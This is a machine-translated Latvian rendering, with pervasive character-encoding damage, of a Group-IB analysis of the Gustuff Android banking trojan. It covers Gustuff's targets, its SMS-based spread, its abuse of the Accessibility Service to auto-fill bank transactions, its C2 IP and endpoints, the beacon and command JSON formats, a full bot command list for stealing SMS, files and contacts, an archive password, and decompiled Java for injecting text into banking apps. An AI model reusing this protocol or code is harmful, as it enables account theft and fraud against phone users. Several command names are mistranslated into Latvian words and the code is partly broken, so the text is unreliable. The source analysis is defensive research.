Kā Android Trojas zirgs Gustuff izņem krēmu (fiat un crypto) no jūsu kontiem

Kā Android Trojas zirgs Gustuff izņem krēmu (fiat un crypto) no jūsu kontiem

Tikai citu dienu Group-IB informēts par mobilā Android Trojas zirga Gustuff darbÄ«bu. Tas darbojas tikai starptautiskajos tirgos, uzbrÅ«kot 100 lielāko ārvalstu banku klientiem, mobilo 32 kriptomaku lietotājiem, kā arÄ« lieliem e-komercijas resursiem. Bet Gustuff izstrādātājs ir krieviski runājoÅ”s kibernoziedznieks ar segvārdu Bestoffer. Vēl nesen viņŔ savu Trojas zirgu slavēja kā "nopietnu produktu cilvēkiem ar zināŔanām un pieredzi".

Ä»aunprātÄ«ga koda analÄ«zes speciālists grupā IB Ivans Pisarevs savā pētÄ«jumā viņŔ detalizēti runā par to, kā Gustuff darbojas un kādi ir tā draudi.

Kuru Gustuff medī?

Gustuff pieder jaunas paaudzes ļaunprogrammatÅ«rai ar pilnÄ«bā automatizētām funkcijām. Pēc izstrādātāja teiktā, Trojas zirgs ir kļuvis par jaunu un uzlabotu ļaunprogrammatÅ«ras AndyBot versiju, kas kopÅ” 2017. gada novembra uzbrÅ«k Android tālruņiem un zog naudu, izmantojot pikŔķerÄ“Å”anas tÄ«mekļa veidlapas, kas maskējas kā pazÄ«stamu starptautisku banku un maksājumu sistēmu mobilās lietojumprogrammas. Bestoffer ziņoja, ka Gustuff Bot nomas cena bija 800 USD mēnesÄ«.

Gustuff parauga analīze parādīja, ka Trojas zirgs potenciāli mērķēts uz klientiem, kuri izmanto lielāko banku mobilās aplikācijas, piemēram, Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, kā arī kriptomakus. Bitcoin Wallet, BitPay, Cryptopay, Coinbase utt.

Sākotnēji tika izveidots kā klasisks banku Trojas zirgs, bet paÅ”reizējā versijā Gustuff ir ievērojami paplaÅ”inājis iespējamo uzbrukuma mērÄ·u sarakstu. Papildus Android lietojumprogrammām bankām, fintech uzņēmumiem un kriptovalÅ«tu pakalpojumiem Gustuff ir paredzēts tirgus lietojumprogrammu, tieÅ”saistes veikalu, maksājumu sistēmu un tÅ«lÄ«tējo kurjeru lietotājiem. Jo Ä«paÅ”i PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut un citi.

Ieejas punkts: masveida infekcijas aprēķins

Gustuff ir raksturÄ«gs "klasiskais" vektors, kas ļauj iekļūt Android viedtālruņos, izmantojot SMS sÅ«tÄ«jumus ar saitēm uz APK. Kad Android ierÄ«ce pēc servera komandas tiek inficēta ar Trojas zirgu, Gustuff var tālāk izplatÄ«ties, izmantojot inficētā tālruņa kontaktpersonu datu bāzi vai servera datu bāzi. Gustuff funkcionalitāte ir paredzēta masveida inficÄ“Å”anai un operatoru biznesa maksimālai kapitalizācijai - tai ir unikāla ā€œautomātiskās ielādÄ“Å”anasā€ funkcija likumÄ«gās mobilās bankas lietojumprogrammās un kriptovalÅ«tos, kas ļauj paātrināt un palielināt naudas zādzÄ«bu.

Trojas zirga pētÄ«jums parādÄ«ja, ka automātiskās aizpildes funkcija tajā tika ieviesta, izmantojot Accessibility Service, pakalpojumu cilvēkiem ar invaliditāti. Gustuff nav pirmais Trojas zirgs, kas veiksmÄ«gi apiet aizsardzÄ«bu pret mijiedarbÄ«bu ar citu lietojumprogrammu logu elementiem, izmantojot Å”o Android pakalpojumu. Tomēr pieejamÄ«bas pakalpojuma izmantoÅ”ana kombinācijā ar automaŔīnas pildÄ«jumu joprojām ir diezgan reta.

Pēc lejupielādes upura tālrunÄ« Gustuff, izmantojot PieejamÄ«bas pakalpojumu, spēj mijiedarboties ar citu aplikāciju (banku, kriptovalÅ«tas, kā arÄ« tieÅ”saistes iepirkÅ”anās, ziņojumapmaiņas u.c. aplikācijām) logu elementiem, veicot uzbrucējiem nepiecieÅ”amās darbÄ«bas. . Piemēram, pēc servera komandas Trojas zirgs var nospiest pogas un mainÄ«t teksta lauku vērtÄ«bas banku lietojumprogrammās. Izmantojot Accessibility Service mehānismu, Trojas zirgs var apiet droŔības mehānismus, ko bankas izmanto, lai cÄ«nÄ«tos pret iepriekŔējās paaudzes mobilajiem Trojas zirgiem, kā arÄ« Google ieviestās droŔības politikas izmaiņas jaunajās Android OS versijās. Tādējādi Gustuff ā€œzina, kāā€ atspējot Google Protect aizsardzÄ«bu: pēc autora domām, Ŕī funkcija darbojas 70% gadÄ«jumu.

Kā Android Trojas zirgs Gustuff izņem krēmu (fiat un crypto) no jūsu kontiem

Gustuff var arÄ« parādÄ«t viltotus PUSH paziņojumus ar likumÄ«gu mobilo lietojumprogrammu ikonām. Lietotājs noklikŔķina uz PUSH paziņojuma un redz no servera lejupielādētu pikŔķerÄ“Å”anas logu, kurā ievada pieprasÄ«tās bankas kartes vai kriptonauda datus. Citā Gustuff scenārijā tiek atvērta lietojumprogramma, kuras vārdā tika parādÄ«ts PUSH paziņojums. Šādā gadÄ«jumā ļaunprogrammatÅ«ra pēc komandas no servera, izmantojot pieejamÄ«bas pakalpojumu, var aizpildÄ«t bankas pieteikuma veidlapas laukus par krāpniecisku darÄ«jumu.

Gustuff funkcionalitāte ietver arÄ« informācijas nosÅ«tÄ«Å”anu par inficētu ierÄ«ci uz serveri, iespēju lasÄ«t/sÅ«tÄ«t SMS ziņas, USSD pieprasÄ«jumu sÅ«tÄ«Å”anu, SOCKS5 starpniekservera palaiÅ”anu, saiti, failu (tostarp dokumentu skenētu dokumentu, ekrānuzņēmumu, fotogrāfiju) nosÅ«tÄ«Å”anu uz serveri, atiestatiet ierÄ«ci uz rÅ«pnÄ«cas iestatÄ«jumiem.

Ļaunprātīgas programmatūras analīze

Pirms ļaunprātÄ«gas lietojumprogrammas instalÄ“Å”anas Android OS lietotājam parāda logu, kurā ir Gustuff pieprasÄ«to tiesÄ«bu saraksts:

Kā Android Trojas zirgs Gustuff izņem krēmu (fiat un crypto) no jūsu kontiem
Lietojumprogramma tiks instalēta tikai pēc lietotāja piekriÅ”anas saņemÅ”anas. Pēc lietojumprogrammas palaiÅ”anas Trojas zirgs parādÄ«s lietotājam logu:

Kā Android Trojas zirgs Gustuff izņem krēmu (fiat un crypto) no jūsu kontiem
Pēc tam tā noņems savu ikonu.

Gustufu, pēc autora domām, iepako FTT iepakotājs. Pēc palaiÅ”anas lietojumprogramma periodiski sazinās ar CnC serveri, lai saņemtu komandas. Vairāki mÅ«su pārbaudÄ«tie faili izmantoja IP adresi kā vadÄ«bas serveri 88.99.171[.]105 (turpmāk mēs to apzÄ«mēsim kā <%CnC%>).

Pēc palaiÅ”anas programma sāk sÅ«tÄ«t ziņojumus uz serveri http://<%CnC%>/api/v1/get.php.

Paredzams, ka atbilde būs JSON Ŕādā formātā:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Katru reizi, kad lietojumprogrammai tiek piekļūts, tā nosÅ«ta informāciju par inficēto ierÄ«ci. Ziņojuma formāts ir parādÄ«ts zemāk. Ir vērts atzÄ«mēt, ka lauki Pilns, papildu, progr Šø atļauja ā€“ pēc izvēles un tiks nosÅ«tÄ«ts tikai CnC pieprasÄ«juma komandas gadÄ«jumā.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Konfigurācijas datu glabāŔana

Gustuff saglabā operatÄ«vi svarÄ«gu informāciju preferenču failā. Faila nosaukums, kā arÄ« tajā esoÅ”o parametru nosaukumi ir iegÅ«ti, aprēķinot MD5 summu no virknes 15413090667214.6.1<%name%>Kur <%name%> ā€” sākotnējā nosaukuma vērtÄ«ba. Nosaukuma Ä£enerÄ“Å”anas funkcijas Python interpretācija:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Turpmāk mēs to apzīmēsim kā nosaukumsĢenerators (ievade).
Tātad pirmā faila nosaukums ir: nameGenerator ("API_SERVER_LIST"), tajā ir vērtÄ«bas ar Ŕādiem nosaukumiem:

Mainīgais nosaukums Vērtība
nameGenerator ("API_SERVER_LIST") Satur CnC adreŔu sarakstu masīva veidā.
nameGenerator("API_SERVER_URL") Satur CnC adresi.
nameGenerator ("SMS_UPLOAD") Karogs ir iestatÄ«ts pēc noklusējuma. Ja karodziņŔ ir iestatÄ«ts, sÅ«ta SMS uz CnC.
nameGenerator("SMS_ROOT_NUMBER") Tālruņa numurs, uz kuru tiks nosūtītas inficētās ierīces saņemtās SMS ziņas. Noklusējums ir nulle.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Pēc noklusējuma karodziņŔ ir notÄ«rÄ«ts. Ja tā ir instalēta, tad, kad inficētā ierÄ«ce saņem SMS, tā tiks nosÅ«tÄ«ta uz saknes numuru.
nameGenerator ("DEFAULT_APP_SMS") Pēc noklusējuma karodziņŔ ir notÄ«rÄ«ts. Ja Å”is karodziņŔ ir iestatÄ«ts, lietojumprogramma apstrādās ienākoŔās SMS ziņas.
nameGenerator ("DEFAULT_ADMIN") Pēc noklusējuma karodziņŔ ir notÄ«rÄ«ts. Ja karodziņŔ ir iestatÄ«ts, lietojumprogrammai ir administratora tiesÄ«bas.
nameGenerator("DEFAULT_ACCESSIBILITY") Pēc noklusējuma karodziņŔ ir notÄ«rÄ«ts. Ja karodziņŔ ir iestatÄ«ts, darbojas pakalpojums, kas izmanto pieejamÄ«bas pakalpojumu.
nameGenerator ("APPS_CONFIG") JSON objekts, kurā ir saraksts ar darbībām, kas jāveic, kad tiek aktivizēts ar konkrētu lietojumprogrammu saistīts pieejamības notikums.
nameGenerator ("APPS_INSTALLED") Saglabā ierīcē instalēto programmu sarakstu.
nameGenerator ("IS_FIST_RUN") Karogs tiek atiestatīts pirmajā startā.
nameGenerator ("UNIKĀLS_ID") Satur unikālu identifikatoru. Tiek ģenerēts, kad robots tiek palaists pirmo reizi.

Modulis komandu apstrādei no servera

Lietojumprogramma saglabā CnC serveru adreses masÄ«va veidā, ko kodē Bāze85 lÄ«nijas. CnC serveru sarakstu var mainÄ«t pēc atbilstoÅ”as ā€‹ā€‹komandas saņemÅ”anas, un tādā gadÄ«jumā adreses tiks saglabātas preferenču failā.

Atbildot uz pieprasÄ«jumu, serveris nosÅ«ta lietojumprogrammai komandu. Ir vērts atzÄ«mēt, ka komandas un parametri tiek parādÄ«ti JSON formātā. Lietojumprogramma var apstrādāt Ŕādas komandas:

Komanda Apraksts
uz priekÅ”uSākt Sāciet sÅ«tÄ«t inficētās ierÄ«ces saņemtās SMS ziņas uz CnC serveri.
uz priekÅ”uStop Pārtrauciet inficētās ierÄ«ces saņemto SMS sÅ«tÄ«Å”anu uz CnC serveri.
ussdRun Izpildiet USSD pieprasÄ«jumu. Numurs, uz kuru jums ir nepiecieÅ”ams USSD pieprasÄ«jums, atrodas JSON laukā ā€œnumursā€.
nosÅ«tÄ«t SMS NosÅ«tiet vienu SMS Ä«sziņu (ja nepiecieÅ”ams, ziņa tiek ā€œsadalÄ«taā€ daļās). Kā parametrs komanda ņem JSON objektu, kurā ir lauki ā€œtoā€ ā€” galamērÄ·a numurs un ā€œbodyā€ ā€” ziņojuma pamatteksts.
sendSmsAb SÅ«tiet SMS (ja nepiecieÅ”ams, ziņa tiek ā€œsadalÄ«taā€ daļās) visiem inficētās ierÄ«ces kontaktu sarakstā. Intervāls starp ziņojumu nosÅ«tÄ«Å”anu ir 10 sekundes. Ziņojuma pamatteksts atrodas JSON laukā "body"
sÅ«tÄ«tSmsMass SÅ«tÄ«t SMS (ja nepiecieÅ”ams, ziņa tiek ā€œsadalÄ«taā€ daļās) komandas parametros norādÄ«tajiem kontaktiem. Intervāls starp ziņojumu nosÅ«tÄ«Å”anu ir 10 sekundes. Kā parametrs komanda ņem JSON masÄ«vu (lauks ā€œsmsā€), kura elementi satur laukus ā€œtoā€ - galamērÄ·a numuru un ā€œbodyā€ - ziņojuma pamattekstu.
ChangeServer Å Ä« komanda var izmantot vērtÄ«bu ar atslēgu ā€œurlā€ kā parametru ā€” tad robots mainÄ«s nameGenerator (ā€œSERVER_URLā€) vai masÄ«va vērtÄ«bu ā€” tad robots ierakstÄ«s masÄ«vu nameGenerator (ā€œAPI_SERVER_LISTā€). Tādējādi lietojumprogramma maina CnC serveru adreses.
adminNumber Komanda ir paredzēta darbam ar saknes numuru. Komanda pieņem JSON objektu ar Ŕādiem parametriem: "number" ā€” mainiet nameGenerator("ROOT_NUMBER") uz saņemto vērtÄ«bu, "send" - mainiet nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - nosÅ«tÄ«t nameGenerator("ROOT_NUMBER" ) unikālais ID.
updateInfo Nosūtiet serverim informāciju par inficēto ierīci.
izdzēst datus Komanda ir paredzēta lietotāja datu dzÄ“Å”anai. AtkarÄ«bā no tā, kāda nosaukuma lietojumprogramma tika palaista, dati tiek pilnÄ«bā izdzēsti, pārstartējot ierÄ«ci (primārais lietotājs), vai arÄ« tiek dzēsti tikai lietotāja dati (sekundārais lietotājs).
zeķesSākt Palaidiet starpniekservera moduli. Moduļa darbība ir aprakstīta atseviŔķā sadaļā.
zeÄ·esStop Apturiet starpniekservera moduli.
atvērt saiti Sekojiet saitei. Saite atrodas JSON parametrā zem atslēgas ā€œurlā€. Lai atvērtu saiti, tiek izmantots ā€œandroid.intent.action.VIEWā€.
augÅ”upielādēt visas SMS NosÅ«tÄ«t visas ierÄ«ces saņemtās SMS ziņas uz serveri.
augÅ”upielādēt visus fotoattēlus SÅ«tiet attēlus no inficētas ierÄ«ces uz URL. URL nāk kā parametrs.
augÅ”upielādes fails NosÅ«tiet failu uz URL no inficētas ierÄ«ces. URL nāk kā parametrs.
augÅ”upielādētPhoneNumbers NosÅ«tiet tālruņa numurus no sava kontaktu saraksta uz serveri. Ja kā parametrs tiek saņemta JSON objekta vērtÄ«ba ar atslēgu ā€œabā€, lietojumprogramma saņem kontaktu sarakstu no tālruņu kataloga. Ja kā parametrs tiek saņemts JSON objekts ar atslēgu ā€œsmsā€, lietojumprogramma nolasa kontaktu sarakstu no Ä«sziņu sÅ«tÄ«tājiem.
mainÄ«tArhÄ«vs Lietojumprogramma lejupielādē failu no adreses, kas norādÄ«ta kā parametrs, izmantojot taustiņu ā€œurlā€. Lejupielādētais fails tiek saglabāts ar nosaukumu ā€œarchive.zipā€. Pēc tam lietojumprogramma izsaiņos failu, pēc izvēles izmantojot arhÄ«va paroli ā€œb5jXh37gxgHBrZhQ4j3Dā€. Izsaiņotie faili tiek saglabāti [ārējā atmiņa]/hgps direktorijā. Å ajā direktorijā lietojumprogramma glabā tÄ«mekļa viltojumus (aprakstÄ«ts tālāk).
darbÄ«bas Komanda ir paredzēta darbam ar Action Service, kas ir aprakstÄ«ta atseviŔķā sadaļā.
pārbaude Neko nedarot.
lejuplādēt Komanda ir paredzēta, lai lejupielādētu failu no attālā servera un saglabātu to direktorijā ā€œLejupielādesā€. URL un faila nosaukums ir kā parametrs, attiecÄ«gi lauki JSON parametra objektā: ā€œurlā€ un ā€œfileNameā€.
noņemt Noņem failu no direktorija "Lejupielādes". Faila nosaukums tiek ievadÄ«ts JSON parametrā ar atslēgu ā€œfileNameā€. Standarta faila nosaukums ir ā€œtmp.apkā€.
paziņojums Rādīt paziņojumu ar pārvaldības servera definētajiem apraksta un virsraksta tekstiem.

Komandu formāts paziņojums:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Pārbaudāmā faila Ä£enerētais paziņojums izskatās identisks laukā norādÄ«tās lietojumprogrammas Ä£enerētajiem paziņojumiem app. Ja lauka vērtÄ«ba openApp ā€” Tiesa, atverot paziņojumu, tiek palaista laukā norādÄ«tā lietojumprogramma app. Ja lauka vērtÄ«ba openApp ā€” Nepatiesi, tad:

  • Tiek atvērts pikŔķerÄ“Å”anas logs, kura saturs tiek lejupielādēts no direktorija <%ārējā atmiņa%>/hgps/<%filename%>
  • Tiek atvērts pikŔķerÄ“Å”anas logs, kura saturs tiek lejupielādēts no servera <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Tiek atvērts pikŔķerÄ“Å”anas logs, kas ir slēpts kā Google Play karte un kurā ir iespēja ievadÄ«t kartes informāciju.

Lietojumprogramma nosūta jebkuras komandas rezultātu uz <%CnC%>set_state.php kā JSON objektu Ŕādā formātā:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Lietojumprogrammas procesos iekļauto komandu saraksts rÄ«cÄ«ba. Kad komanda tiek saņemta, komandu apstrādes modulis piekļūst Å”im pakalpojumam, lai izpildÄ«tu paplaÅ”ināto komandu. Pakalpojums pieņem JSON objektu kā parametru. Pakalpojums var izpildÄ«t Ŕādas komandas:

1. PARAMS_ACTION ā€” saņemot Ŕādu komandu, pakalpojums vispirms no JSON parametra saņem tipa atslēgas vērtÄ«bu, kas var bÅ«t Ŕāda:

  • pakalpojumu informācija ā€“ apakÅ”komanda iegÅ«st vērtÄ«bu pēc atslēgas no JSON parametra iekļautNotImportant. Ja karodziņŔ ir True, lietojumprogramma iestata karogu FLAG_ISOLATED_PROCESS pakalpojumam, izmantojot pieejamÄ«bas pakalpojumu. Tādā veidā pakalpojums tiks palaists atseviŔķā procesā.
  • sakne ā€” saņemt un nosÅ«tÄ«t serverim informāciju par logu, kas paÅ”laik ir fokusā. Lietojumprogramma iegÅ«st informāciju, izmantojot AccessibilityNodeInfo klasi.
  • admin ā€” pieprasÄ«t administratora tiesÄ«bas.
  • kavÄ“Å”anās ā€” apturēt ActionsService darbÄ«bu uz milisekundēm, kas norādÄ«ts atslēgas ā€œdataā€ parametrā.
  • logi ā€” nosÅ«tÄ«t lietotājam redzamo logu sarakstu.
  • uzstādÄ«t ā€” instalējiet lietojumprogrammu inficētajā ierÄ«cē. ArhÄ«va pakotnes nosaukums ir atslēgā ā€œfileNameā€. Pats arhÄ«vs atrodas Lejupielādes direktorijā.
  • pasaules ā€“ apakÅ”komanda ir paredzēta, lai pārvietotos no paÅ”reizējā loga:
    • izvēlnē Ātrie iestatÄ«jumi
    • atpakaļ
    • mājas
    • uz paziņojumiem
    • uz nesen atvērto lietojumprogrammu logu

  • sākt - palaidiet lietojumprogrammu. Lietojumprogrammas nosaukums nāk kā parametrs pēc atslēgas dati.
  • skaņas ā€” mainÄ«t skaņas režīmu uz klusumu.
  • atslēgt ā€” ieslēdz ekrāna un tastatÅ«ras fona apgaismojumu lÄ«dz pilnam spilgtumam. Lietojumprogramma veic Å”o darbÄ«bu, izmantojot WakeLock, kā tagu norādot virkni [Application label]:INFO
  • atļaujaPārklājums ā€” funkcija nav ieviesta (atbilde uz komandas izpildi ir {"message":"Not support"} vai {"message":"low sdk"})
  • žests ā€” funkcija nav ieviesta (atbilde uz komandas izpildi ir {"message":"Not support"}vai {"message":"Low API"})
  • Atļaujas ā€” Ŕī komanda ir nepiecieÅ”ama, lai pieprasÄ«tu lietojumprogrammas atļaujas. Tomēr vaicājuma funkcija nav ieviesta, tāpēc komandai nav nozÄ«mes. PieprasÄ«to tiesÄ«bu saraksts ir JSON masÄ«vs ar atslēgu ā€œatļaujasā€. Standarta saraksts:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • atvērt ā€” parādÄ«t pikŔķerÄ“Å”anas logu. AtkarÄ«bā no parametra, kas nāk no servera, lietojumprogramma var parādÄ«t Ŕādus pikŔķerÄ“Å”anas logus:
    • RādÄ«t pikŔķerÄ“Å”anas logu, kura saturs ir ierakstÄ«ts failā direktorijā <%ārējais direktorijs%>/hgps/<%param_filename%>. Lietotāja mijiedarbÄ«bas ar logu rezultāts tiks nosÅ«tÄ«ts uz <%CnC%>/records.php
    • RādÄ«t pikŔķerÄ“Å”anas logu, kura saturs ir iepriekÅ” ielādēts no adreses <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Lietotāja mijiedarbÄ«bas ar logu rezultāts tiks nosÅ«tÄ«ts uz <%CnC%>/records.php
    • RādÄ«t pikŔķerÄ“Å”anas logu, kas maskēts kā Google Play karte.

  • interaktÄ«vs ā€” komanda ir paredzēta mijiedarbÄ«bai ar citu lietojumprogrammu loga elementiem, izmantojot AcessibilityService. Programmā ir ieviests Ä«paÅ”s pakalpojums mijiedarbÄ«bai. Izmeklējamā lietojumprogramma var mijiedarboties ar logiem:
    • PaÅ”laik aktÄ«vs. Å ajā gadÄ«jumā parametrs satur tā objekta ID vai tekstu (nosaukumu), ar kuru jums ir jāsadarbojas.
    • Redzams lietotājam komandas izpildes laikā. Lietojumprogramma atlasa logus pēc id.

    Saņemot priekÅ”metus AccessibilityNodeInfo InteresējoÅ”ajiem loga elementiem lietojumprogramma atkarÄ«bā no parametriem var veikt Ŕādas darbÄ«bas:

    • fokuss ā€” iestatiet fokusu uz objektu.
    • klikŔķis ā€” noklikŔķiniet uz objekta.
    • actionId ā€” veiciet darbÄ«bu pēc ID.
    • setText ā€” mainiet objekta tekstu. Teksta maiņa ir iespējama divos veidos: veiciet darbÄ«bu ACTION_SET_TEXT (ja inficētās ierÄ«ces Android versija ir jaunāka vai vienāda ar KONFERENCE), vai ievietojot virkni starpliktuvē un ielÄ«mējot to objektā (vecākām versijām). Å o komandu var izmantot, lai mainÄ«tu datus bankas lietojumprogrammā.

2. PARAMS_ACTIONS - tāds pats kā PARAMS_ACTION, tiek parādīts tikai JSON komandu masīvs.

Å Ä·iet, ka daudzus interesēs, kā izskatās funkcija mijiedarboties ar citas lietojumprogrammas loga elementiem. LÅ«k, kā Ŕī funkcionalitāte tiek ieviesta programmā Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Teksta aizstāŔanas funkcija:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Tādējādi ar pareizu vadÄ«bas servera konfigurāciju Gustuff var aizpildÄ«t teksta laukus bankas lietojumprogrammā un noklikŔķināt uz pogām, kas nepiecieÅ”amas, lai pabeigtu darÄ«jumu. Trojas zirgam pat nav jāpiesakās aplikācijā ā€” pietiek ar komandas nosÅ«tÄ«Å”anu, lai parādÄ«tu PUSH paziņojumu un pēc tam atvērtu iepriekÅ” instalēto bankas lietojumprogrammu. Lietotājs autentificēsies, pēc tam Gustuff varēs uzpildÄ«t automaŔīnu.

SMS ziņu apstrādes modulis

Lietojumprogramma inficētajai ierÄ«cei instalē notikumu apdarinātāju, lai pieņemtu SMS ziņas. Izpētāmā lietojumprogramma var saņemt komandas no operatora, kas nonāk SMS ziņojuma pamattekstā. Komandas ir Ŕādā formātā:

7!5=<%Base64 kodēta komanda%>

Lietojumprogramma meklē virkni visās ienākoÅ”ajās SMS ziņās 7!5=, kad tiek noteikta virkne, tā atÅ”ifrē virkni no Base64 4. nobÄ«dē un izpilda komandu. Komandas ir lÄ«dzÄ«gas CnC komandām. Izpildes rezultāts tiek nosÅ«tÄ«ts uz to paÅ”u numuru, no kura tika saņemta komanda. Atbildes formāts:

7*5=<%Base64 komandas ā€œresult_code commandā€%> kodējums

Pēc izvēles lietojumprogramma var nosÅ«tÄ«t visus saņemtos ziņojumus uz saknes numuru. Lai to izdarÄ«tu, preferenču failā ir jānorāda saknes numurs un jāiestata ziņojuma pāradresācijas karogs. SMS tiek nosÅ«tÄ«ta uz uzbrucēja numuru Ŕādā formātā:

<%No numura%> - <%Laiks, formāts: dd/MM/gggg HH:mm:ss%> <%SMS body%>

Arī pēc izvēles lietojumprogramma var nosūtīt ziņojumus uz CnC. SMS ziņa tiek nosūtīta uz serveri JSON formātā:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Ja karogs ir uzstādÄ«ts nameGenerator ("DEFAULT_APP_SMS") ā€“ lietojumprogramma pārtrauc Ä«sziņas apstrādi un notÄ«ra ienākoÅ”o ziņojumu sarakstu.

Starpniekservera modulis

Pētāmā lietojumprogramma satur Backconnect Proxy moduli (turpmāk tekstā Proxy modulis), kuram ir atseviŔķa klase, kas ietver statiskus laukus ar konfigurāciju. Konfigurācijas dati tiek saglabāti paraugā skaidrā veidā:

Kā Android Trojas zirgs Gustuff izņem krēmu (fiat un crypto) no jūsu kontiem

Visas starpniekservera moduļa darbÄ«bas tiek reÄ£istrētas failos. Lai to izdarÄ«tu, lietojumprogramma ārējā krātuvē izveido direktoriju ar nosaukumu ā€œlogsā€ (konfigurācijas klases lauks ProxyConfigClass.logsDir), kurā tiek glabāti žurnālfaili. ReÄ£istrācija notiek failos ar nosaukumiem:

  1. galvenais.txt ā€“ Å”ajā failā ir pieteicies klases darbs ar nosaukumu CommandServer. Tālāk tekstā virknes str ierakstÄ«Å”ana Å”ajā failā tiks apzÄ«mēta kā mainLog(str).
  2. sesija-<%id%>.txt ā€” Å”is fails saglabā žurnāla datus, kas saistÄ«ti ar konkrētu starpniekservera sesiju. Tālāk tekstā virknes str reÄ£istrÄ“Å”ana Å”ajā failā tiks apzÄ«mēta kā sessionLog (str).
  3. serveris.txt ā€“ Å”is fails tiek izmantots, lai reÄ£istrētu visus iepriekÅ” aprakstÄ«tajos failos ierakstÄ«tos datus.

Žurnāla datu formāts:

<%Date%> [Pavediens[<%pavediena id%>], id[]]: žurnāla virkne

Izņēmumi, kas rodas starpniekservera moduļa darbÄ«bas laikā, arÄ« tiek reÄ£istrēti failā. Lai to izdarÄ«tu, lietojumprogramma Ä£enerē JSON objektu Ŕādā formātā:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

